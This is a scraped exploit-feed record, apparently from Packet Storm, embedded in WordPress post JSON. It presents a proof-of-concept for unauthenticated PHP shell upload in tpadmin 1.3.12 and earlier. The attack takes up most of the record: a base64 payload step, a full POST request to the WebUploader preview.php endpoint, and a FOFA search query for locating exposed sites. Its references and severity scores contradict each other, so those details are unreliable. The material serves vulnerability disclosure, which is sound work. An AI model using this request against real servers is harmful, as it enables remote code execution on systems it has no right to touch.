{“lastseen”:”2026-02-10T19:00:07″,”description”:”yuan1994 tpadmin versions up to 1.3.12 suffers from a remote shell upload vulnerability…”,”published”:”2026-02-10T00:00:00″,”modified”:”2026-02-10T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 yuan1994 tpadmin Shell Upload”,”source”:””,”references”:””,”id”:”PACKETSTORM:215265″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-2113″,”CVE-2026-23760″],”sourceData”:”# tpadmin-CVE-2026-2113-poc\\n \\n A proof-of-concept exploiting a Remote Code Execution with web server privileges via Arbitrary File Upload.\\n \\n # Vulnerability Description\\n \\n A critical Remote Code Execution vulnerability exists in H-ui.admin system’s WebUploader preview component. The `\\u003cfont style=\\”color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);\\”\\u003e\/public\/static\/admin\/lib\/webuploader\/0.1.5\/server\/preview.php\\u003c\/font\\u003e` file lacks proper authentication and file validation, allowing unauthenticated attackers to upload arbitrary PHP files directly to the web server. This results in immediate Remote Code Execution with web server privileges.\\n \\n # Affected Versions\\n \\n – tpadmin up to version 1.3.12\\n \\n # Poc (by sTy1H)\\n \\n 1. Construct payload (Encode the dangerous statement in base64)\\n “`bash\\n printf \\”\\u003c? php phpinfo();?\\u003e\\” | base64\\n PD9waHAgcGhwaW5mbygpOz8+\\n “`\\n \\n 2. Construct the POST request with our payload\\n “`html\\n POST \/admin\/lib\/webuploader\/0.1.5\/server\/preview.php HTTP\/1.1\\n Host: 127.0.0.1\\n User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko\/20100101 Firefox\/123.0\\n Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8\\n Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\\n Accept-Encoding: gzip, deflate, br\\n Connection: keep-alive\\n Cookie: PHPSESSID=6mqs895r9r0k9ci9jj0hms506n\\n Upgrade-Insecure-Requests: 1\\n Content-Type: application\/x-www-form-urlencoded\\n Content-Length: 46\\n \\n data:image\/php;base64,PD9waHAgcGhwaW5mbygpOz8+\\n “`\\n 3. Visit the returned url\\n \\n \\u003cimg width=\\”800\\” height=\\”600\\” alt=\\”image\\” src=\\”https:\/\/github.com\/user-attachments\/assets\/beaa331e-0553-4b71-b4bc-a38dcbd759e5\\” \/\\u003e\\n \\n # Into the wild\\n \\n FOFA:\\n \\n “`\\n title=’Tpadmin’\\n “`\\n \\n # Impact\\n \\n An unauthenticated remote attacker can exploit an Arbitrary File Upload to gain an RCE with web server privileges.\\n \\n CVSS:4.0\/AV:N\/AC:L\/AT:N\/PR:N\/UI:N\/VC:L\/VI:L\/VA:L\/SC:N\/SI:N\/SA:N\/E:P – 6.9:Medium\\n \\n # Remediation \\u0026 Mitigation\\n \\n There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.\\n \\n # References\\n \\n – https:\/\/github.com\/yuan1994\/tpAdmin\\n – [https:\/\/www.smartertools.com\/smartermail\/release-notes\/current](https:\/\/www.cve.org\/CVERecord?id=CVE-2026-2113))\\n – [https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2026-23760](https:\/\/github.com\/sTy1H\/CVE-Report\/blob\/main\/Remote%20Code%20Execution%20Vulnerability%20in%20Tpadmin%20System.md)”,”sourceHref”:”https:\/\/packetstorm.news\/download\/215265″,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:”3.0″,”vectorString”:”CVSS:3.0\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:L\/I:L\/A:L\/E:P\/RC:R”,”baseScore”:7.3,”baseSeverity”:”HIGH”,”attackVector”:”NETWORK”,”attackComplexity”:”LOW”,”privilegesRequired”:”NONE”,”userInteraction”:”NONE”,”scope”:”UNCHANGED”,”confidentialityImpact”:”LOW”,”integrityImpact”:”LOW”,”availabilityImpact”:”LOW”}},”href”:”https:\/\/packetstorm.news\/files\/id\/215265\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-10T19:00:07″,”description”:”yuan1994 tpadmin versions up to 1.3.12 suffers from a remote shell upload vulnerability…”,”published”:”2026-02-10T00:00:00″,”modified”:”2026-02-10T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 yuan1994 tpadmin Shell Upload”,”source”:””,”references”:””,”id”:”PACKETSTORM:215265″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-2113″,”CVE-2026-23760″],”sourceData”:”# tpadmin-CVE-2026-2113-poc\\n \\n A proof-of-concept exploiting a Remote Code…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-40110","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n